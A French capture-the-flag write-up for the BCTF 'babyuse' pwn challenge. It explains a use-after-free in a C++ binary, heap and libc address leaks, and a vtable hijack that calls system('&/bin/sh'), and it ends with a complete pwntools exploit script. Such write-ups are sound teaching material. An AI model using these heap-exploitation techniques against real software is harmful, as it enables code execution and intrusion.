Le BCTF est une compétition type Capture The Flag au format Jeopardy présenté par la team blue-lotus. La compétition est ouverte au monde entier. C’est aussi une épreuve de qualification à la 3ième édition de la XCTF International League. L’article suivant détaille le challenge de type pwn nommé babyuse.
Sommaire
- État des lieux
- Reverse
- Le concept
- La pratique
État des lieux
Ce challenge est sous la forme d’un binaire à exploiter, seul le programme compilé et la libc utilisée étaient fournis.
On identifie le type de fichier avec la commande file. C’est un fichier exécutable en 32 bits pour Linux.
$ file babyuse
babyuse: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=897603a8713730f381d8e1089aa6522b3719fc33, stripped
Lorsqu’on lance le programme, celui-ci propose un menu pour gérer des armes.
$ ./babyuse
Menu:
1. Buy a Gun
2. Select a Gun
3. List Guns
4. Rename a Gun
5. Use a Gun
6. Drop a Gun
7. Exit
1
Notice: You can only have up to 4 guns.
Choose a gun to add:
1. QSZ92
2. QBZ95
1
Lenth of name:
10
Input name:
Coucou
succeed.
Menu:
1. Buy a Gun
2. Select a Gun
3. List Guns
4. Rename a Gun
5. Use a Gun
6. Drop a Gun
7. Exit
6
Choose a gun to delete:
0
Deleted
Menu:
1. Buy a Gun
2. Select a Gun
3. List Guns
4. Rename a Gun
5. Use a Gun
6. Drop a Gun
7. Exit
5
Select gun
1. Shoot
2. Reload
3. Info
4. Main menu
1
Erreur de segmentation
On s’aperçoit que lorsqu’on supprime l’arme, on peut toujours l’utiliser, ce qui provoque une erreur de segmentation. C’est une vulnérabilité de type “Use after free” d’où le nom babyuse. Mais la pile n’est pas exécutable, l’ASLR est activé et le binaire a été compilé en PIE (Position Independant Executable). Donc on ne peut pas exécuter de shellcode. L’ASLR charge les bibliothèques à des adresses aléatoires , et l’option PIE permet de charger le programme à une adresse aléatoire (différente à chaque exécution) ce qui complique grandement les exploitations de type ret2libc ou ROP (Return Oriented Programming).
Reverse
La fonction main
Pour comprendre ce qu’il se passe à l’intérieur nous allons reverser le programme avec IDA Pro. On retrouve la fonction main qui gère le menu (Chaque bloc correspondant à un choix dans le menu):
Création d’un pistolet
On va s’intéresser à la création des armes,
Avant de rajouter une arme, le programme vérifie qu’il y a une place libre grâce à un tableau de booléens guns_boolean_used. Ensuite on trouve deux morceaux de code presque identiques.
Il y a deux types d’arme donc deux constructions différentes ;). Pour terminer le programme stocke la référence de l’objet dans une case du tableau guns_list et 1 (True) dans une case du tableau guns_boolean_used. Voir le code ci-dessus :
Suppression d’un pistolet
Lorsqu’on supprime une arme, le programme atteint la routine suivante si l’arme n’a pas déjà été supprimée.
Le programme libère le bloc alloué précédemment contenant le nom de l’arme. Ensuite il appelle delete sur l’objet représentant l’arme. Le tableau *guns_boolean_used
- est mis à jour en conséquence mais, le pointeur vers l’objet dans le tableau guns_list est toujours présent. Il pointe désormais sur une zone libre dans le tas.
Utilisation d’un pistolet
Lorsqu’on utilise un pistolet, le programme utilise une variable statique contenant l’indice du pistolet dans le tableau. Si le choix utilisateur est valide l’exécution continue dans un des 3 blocs suivants :
Petit rappel sur les objets en C++, prenons l’exemple suivant :
class A{
public:
virtual void f() {}
int int_in_A;
};
Lorsqu’on réalise un nouvel objet sa structure est allouée sur le tas, l’objet A sera représenté de la manière suivante :
Le pointeur vfptr pointe sur la table des méthodes virtuelles (vtable) de l’objet, c’est dans cette table que sont stockées les adresses des méthodes d’un objet A. Tous les objets A auront un attribut vfptr qui pointera vers cette vtable.
Dans babyuse il y a deux classes pour représenter des armes donc deux vtable différentes. Ces deux vtables contiennent les pointeurs vers les méthodes gun_shot, gun_reload, gun_info (les méthodes étant différentes selon le type d’arme).
Observons les lignes de code suivantes dans la fonction guns_reload,
mov eax,[ebp + selected_gun] ; eax pointe vers l'objet en question
mov eax,[eax] ; récupération du pointeur vers la vtable (Table des méthodes virtuelles)
add eax,4 ; adresse du pointeur vers la deuxième méthode ( taille d'un pointeur 4 octets)
mov eax,[eax] ; récupération du pointeur vers la méthode
sub esp,0x0Ch
push [ebp+selected_gun] ; on met le pointeur vers l'objet en paramètre
call eax ; on appelle sa méthode (gun_reload)
Le Concept
A chaque création d’arme le programme réserve deux espaces mémoire dans le tas, un qui va contenir la structure de l’objet, et un autre qui contient son nom. On va commencer par créer deux armes à la suite, voici la représentation des objets dans le tas
L’idée est de libérer le 2ième objet gun puis de renommer le premier objet pour qu’il écrase les données du deuxième objet gun. On contrôlera ainsi le pointeur vfptr que l’on fera pointer sur une vtable construite par nos soins ;).
La pratique
Je réalise une classe python pour wrapper toutes les options du menu,
#!/usr/bin/env python
from pwn import *
class ProcessGun:
GUN_SHOT=1
GUN_RELOAD=2
GUN_INFO=3
GUN_QUIT=4
def __init__(self,p):
self.p = p
def send_token(self):
self.p.send("8H8Qzizi52VobSMzq6rxknwijMHeWaip\n")
self.p.recv()
def create_gun(self,name_length,name):
print("[+] create gun")
self.p.send("1\n") # Buy a Gun
self.p.send("1\n") # Choose QSZ92
self.p.send("%d\n" % name_length) # Length of name
self.p.send("%s\n" % name) # Name
self.p.recv() # Menu
def rename_gun(self,gun_id,name_length,name):
print("[+] rename gun")
self.p.send("4\n")
self.p.send("%d\n" % gun_id)
self.p.send("%d\n" % name_length)
self.p.send("%s\n" % name)
self.p.recv()
def delete_gun(self,gun_id):
print("[+] delete gun")
self.p.send("6\n")
self.p.send("%d\n" % gun_id)
self.p.recv()
def select_gun(self,gun_id):
print("[+] select gun")
self.p.send("2\n")
self.p.send("%d\n" % gun_id)
print(self.p.recv())
def use_gun(self,func_id):
print("[+] use gun")
self.p.send("5\n")
line = self.p.recvline()
while "Select gun" not in line:
line = self.p.recvline()
print("[+] text leaked %s" % line)
leak = line[len("Select gun "):len(line) - 1]
leak = u32(leak[0:4])
print("[+] leak %x" % leak)
self.p.send("%d\n" % func_id)
self.p.recv()
return leak
Ensuite il va falloir leak quelque chose pour que l’on puisse calculer l’adresse de system. Je crée 3 armes, et je sélectionne la 3ième.
Je vais placer un breakpoint ( de manière relative b* main-0x348) dans le code de la création des armes, pour examiner le tas après la création des armes :
[----------------------------------registers-----------------------------------]
EAX: 0x2
EBX: 0x57a82a60 --> 0x5659ad30 --> 0x5659a590 (push ebp)
ECX: 0xfbad0087
EDX: 0x57a82a60 --> 0x5659ad30 --> 0x5659a590 (push ebp)
ESI: 0x1
EDI: 0xf7522000 --> 0x1b2db0
EBP: 0xfffb8b18 --> 0xfffb8b38 --> 0x0
ESP: 0xfffb8b00 --> 0x0
EIP: 0x5659a0cb (mov DWORD PTR [eax*4+0x5659d08c],edx)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x5659a0c2: add esp,0x10
0x5659a0c5: mov eax,DWORD PTR [ebp-0x10]
0x5659a0c8: mov edx,DWORD PTR [ebp-0x14]
=> 0x5659a0cb: mov DWORD PTR [eax*4+0x5659d08c],edx
0x5659a0d2: mov eax,DWORD PTR [ebp-0x10]
0x5659a0d5: mov DWORD PTR [eax*4+0x5659d09c],0x1
0x5659a0e0: jmp 0x5659a0fb
0x5659a0e2: add DWORD PTR [ebp-0x10],0x1
[------------------------------------stack-------------------------------------]
0000| 0xfffb8b00 --> 0x0
0004| 0xfffb8b04 --> 0x57a82a60 --> 0x5659ad30 --> 0x5659a590 (push ebp)
0008| 0xfffb8b08 --> 0x2
0012| 0xfffb8b0c --> 0x1
0016| 0xfffb8b10 --> 0x5659ac75 ("Wrong input")
0020| 0xfffb8b14 --> 0x0
0024| 0xfffb8b18 --> 0xfffb8b38 --> 0x0
0028| 0xfffb8b1c --> 0x5659a455 (<main+66>: jmp 0x5659a491 <main+126>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 2, 0x5659a0cb in ?? ()
gdb-peda$ x/80xw 0x57a82a10
0x57a82a10: 0x5659ad30 0x57a82a28 0x0000000f 0x0000000f
0x57a82a20: 0x00000000 0x00000011 0x00010101 0x00000000
0x57a82a30: 0x00000000 0x00000019 0x5659ad30 0x57a82a50
0x57a82a40: 0x0000000f 0x0000000f 0x00000000 0x00000011
0x57a82a50: 0x00020202 0x00000000 0x00000000 0x00000019
0x57a82a60: 0x5659ad30 0x57a82a78 0x0000000f 0x0000000f
0x57a82a70: 0x00000000 0x00000011 0x00030303 0x00000000
On retrouve nos 3 objets respectivement stockés aux adresses 0x57a82a10,0x57a82a38 et 0x57a82a60. Et leurs noms aux adresses 0x57a82a28 ("\x01\01\x01"),0x57a82a50 ("\x02\x02\x02") et 0x57a82a78 ("\x03\x03\x03").
Je libère les 2 dernières armes, et je renomme la première. L’attribut gun_name de la 3ième arme pointe encore sur son ancien chunk.
Les blocs libres qui ont une taille de 16 à 80 octets sont référencés grâce à une liste chaînée, chaque bloc libre contient un pointeur vers le bloc libre suivant (voir les structures fastbins dans les références). Et il se trouve que l’attribut gun_name de l’objet n°3 (à la fin des opérations) pointe sur un de ces pointeurs.
On peut le remarquer en plaçant un breakpoint dans le code de la destruction des armes (b* main-0x203). Lorsqu’on examine l’objet 3, *gun_name* vaut toujours 0x57a82a78, mais à cette adresse, le nom (0x00030303) a été remplacé par 0x57a82a48. La fonction use affiche le nom de l’objet, donc en utilisant cette fonction avec l’arme 3 elle va afficher la chaîne en 0x57a82a78 soit les caractères correspondant à 0x57a82a48.
0x57a82a60: 0x57a82a30 0x57a82a78 0x0000000f 0x0000000f
0x57a82a70: 0x00000000 0x00000011 0x57a82a48 0x00000000
A partir de cette adresse, je peux calculer l’adresse de l’arme n°1 dans le tas ( il suffit de soustraire 0x38 octets) .
p = process(["./babyuse"])
print("Process id %d" % p.pid)
p.recv()
pg = ProcessGun(p)
raw_input()
pg.create_gun(4,"\x01\x01\x01\n") # 0
pg.create_gun(4,"\x02\x02\x02\n") # 1
pg.create_gun(4,"\x03\x03\x03\n") # 2
pg.select_gun(2)
pg.delete_gun(1)
pg.delete_gun(2)
# 3 * 10
pg.rename_gun(0,0x1000,"A"*(1*10)+"\n")
leak_my_data = pg.use_gun(ProcessGun.GUN_QUIT)
print("[+] offset to vtable %x" % (leak_my_data + OFFSET_VTABLE))
print("[+] offset to vtable %x" % (leak_my_data + OFFSET_VTABLE))
Pour leaker l’adresse de la vtable de l’objet n°1, on peut écraser l’adresse de l’ancien nom de l’objet n°3 par l’adresse de l’objet n°1.
Comme l’opération rename alloue le bloc contenant le nouveau nom avant de libérer l’ancien bloc. Je suis obligé de faire deux rename, le premier rename sert à désallouer le bloc précédent. Lorsque je vais réaliser un nouveau rename, le nom va se placer dans bloc précédemment désallouer. Cela me permet d’allouer un bloc (et d’y placer mes données) toujours à la même adresse.
Je rempli le nom de A pour atteindre le l’objet 3, je place “FAKE” comme adresse de vtable pour l’instant puis l’adresse de l’objet n°1. J’appelle use_gun pour que le programme affiche l’adresse de la vtable de l’objet n°1.
pg.rename_gun(0,0x1,"X"+"\n")
pg.rename_gun(0,0x1000,"A"*(4*10)+"FAKE"+p32(leak_my_data + OFFSET_VTABLE)+"\n")
leak_vtable = pg.use_gun(ProcessGun.GUN_QUIT)
print("[+] leak vtable %x" % leak_vtable)
Maintenant que je connaît l’adresse de la vtable je leak l’adresse de la fonction gun_shot, ce qui me permettras d’aller chercher des informations dans la section .text .
pg.rename_gun(0,0x1,"X"+"\n")
pg.rename_gun(0,0x1000,"A"*(4*10)+"FAKE"+p32(leak_vtable)+"\n")
leak_gun_shot = pg.use_gun(ProcessGun.GUN_QUIT)
print("[+] leak_gun_shot %x" % leak_gun_shot)
Avec cette adresse vers la section .text on peut récupérer les octets qui compose l’instruction call puts se trouvant dans le binaire. L’instruction call est composé de 5 octets dont 4 qui compose l’offset entre instruction courante (call) et la fonction à appeler. Avec cet offset on peut calculer l’adresse de la fonction appelé.
# leak call puts
pg.rename_gun(0,0x1,"X\n")
pg.rename_gun(0,0x1000,"A"*(4*10)+"FAKE"+p32(leak_gun_shot+0x19)+"\n")
leak_call_puts = pg.use_gun(ProcessGun.GUN_QUIT)
print("[+] leak call_puts %x" % leak_call_puts)
leak_puts = leak_gun_shot + 0x18 + leak_call_puts + 5
print("[+] leak puts %x" % leak_puts)
Avec l’outil libc-database je retrouve les offsets de puts et system, ce qui me permet de calculer l’adresse de system.
libc_base = leak_puts - OFFSET2LIBC
system = libc_base + OFFSET_SYSTEM
print("[+] libc base %x" % libc_base)
print("[+] system offset %x" % system)
Je prépare ensuite une fausse vtable contenant l’adresse de system. Je vais me servir du premier pointeur leak_my_data une deuxième fois car il pointe aussi sur nos données. Je remplace le pointeur de la vtable par le mien, je fait pointer le nom vers un endroit valide par exemple sur la vtable que je vient de construire soit leak_my_data. Maintenant petit tricks pour faire exécuter /bin/sh par sh, rappelons-nous le seul argument passer à gun_shot est l’adresse de l’objet. A cette adresse on trouve notre pointeur leak_my_data(2 fois), je peux rajouter derrière la chaîne “&/bin/sh” car system interprète le contenu de notre objet comme une chaîne. Ce qui donneras le payload suivant “********&/bin/sh” (les étoiles représentant les octets formant l’adresse leak_my_data de ux fois)
pg.rename_gun(0,0x1,"X"+"\n")
pg.rename_gun(0,0x1000,p32(system)*10+p32(leak_my_data)+p32(leak_my_data)+"&/bin/sh"+"\n")
pg.use_gun(ProcessGun.GUN_SHOT)
Et Paf un shell :P ,
Et voici le code complet de l’exploit,
#!/usr/bin/env python
from pwn import *
class ProcessGun:
GUN_SHOT=1
GUN_RELOAD=2
GUN_INFO=3
GUN_QUIT=4
def __init__(self,p):
self.p = p
def create_gun(self,name_length,name):
print("[+] create gun")
self.p.send("1\n") # Buy a Gun
self.p.send("1\n") # Choose QSZ92
self.p.send("%d\n" % name_length) # Length of name
self.p.send("%s\n" % name) # Name
self.p.recv() # Menu
def rename_gun(self,gun_id,name_length,name):
print("[+] rename gun")
self.p.send("4\n")
self.p.send("%d\n" % gun_id)
self.p.send("%d\n" % name_length)
self.p.send("%s\n" % name)
self.p.recv()
def delete_gun(self,gun_id):
print("[+] delete gun")
self.p.send("6\n")
self.p.send("%d\n" % gun_id)
self.p.recv()
def select_gun(self,gun_id):
print("[+] select gun")
self.p.send("2\n")
self.p.send("%d\n" % gun_id)
print(self.p.recv())
def use_gun(self,func_id):
print("[+] use gun")
self.p.send("5\n")
line = self.p.recvline()
while "Select gun" not in line:
line = self.p.recvline()
print("[+] text leaked %s" % line)
leak = line[len("Select gun "):len(line) - 1]
leak = u32(leak[0:4])
print("[+] leak %x" % leak)
self.p.send("%d\n" % func_id)
self.p.recv()
return leak
OFFSET_SYSTEM = 0x0003ab30 # local
OFFSET2LIBC = 0x0005f870 # local
OFFSET_VTABLE = -0x38
OFFSET_CXA_PURE_VIRTUAL=6*4
p = process(["./babyuse"])
print("Process id %d" % p.pid)
p.recv()
pg = ProcessGun(p)
raw_input()
pg.create_gun(4,"\x01\x01\x01\n") # 0
pg.create_gun(4,"\x02\x02\x02\n") # 1
pg.create_gun(4,"\x03\x03\x03\n") # 2
pg.select_gun(2)
pg.delete_gun(1)
pg.delete_gun(2)
# 3 * 10
pg.rename_gun(0,0x1000,"A"*(1*10)+"\n")
leak_my_data = pg.use_gun(ProcessGun.GUN_QUIT)
print("[+] offset to vtable %x" % (leak_my_data + OFFSET_VTABLE))
pg.rename_gun(0,0x1,"X"+"\n")
pg.rename_gun(0,0x1000,"A"*(4*10)+"FAKE"+p32(leak_my_data + OFFSET_VTABLE)+"\n")
leak_vtable = pg.use_gun(ProcessGun.GUN_QUIT)
print("[+] leak vtable %x" % leak_vtable)
pg.rename_gun(0,0x1,"X"+"\n")
pg.rename_gun(0,0x1000,"A"*(4*10)+"FAKE"+p32(leak_vtable)+"\n")
leak_gun_shot = pg.use_gun(ProcessGun.GUN_QUIT)
print("[+] leak_gun_shot %x" % leak_gun_shot)
# leak call puts
pg.rename_gun(0,0x1,"X\n")
pg.rename_gun(0,0x1000,"A"*(4*10)+"FAKE"+p32(leak_gun_shot+0x19)+"\n")
leak_call_puts = pg.use_gun(ProcessGun.GUN_QUIT)
print("[+] leak call_puts %x" % leak_call_puts)
leak_puts = leak_gun_shot + 0x18 + leak_call_puts + 5
print("[+] leak puts %x" % leak_puts)
libc_base = leak_puts - OFFSET2LIBC
system = libc_base + OFFSET_SYSTEM
print("[+] libc base %x" % libc_base)
print("[+] system offset %x" % system)
pg.rename_gun(0,0x1,"X"+"\n")
pg.rename_gun(0,0x1000,p32(system)*10+p32(leak_my_data)+p32(leak_my_data)+"&/bin/sh"+"\n")
pg.use_gun(ProcessGun.GUN_SHOT)
p.interactive()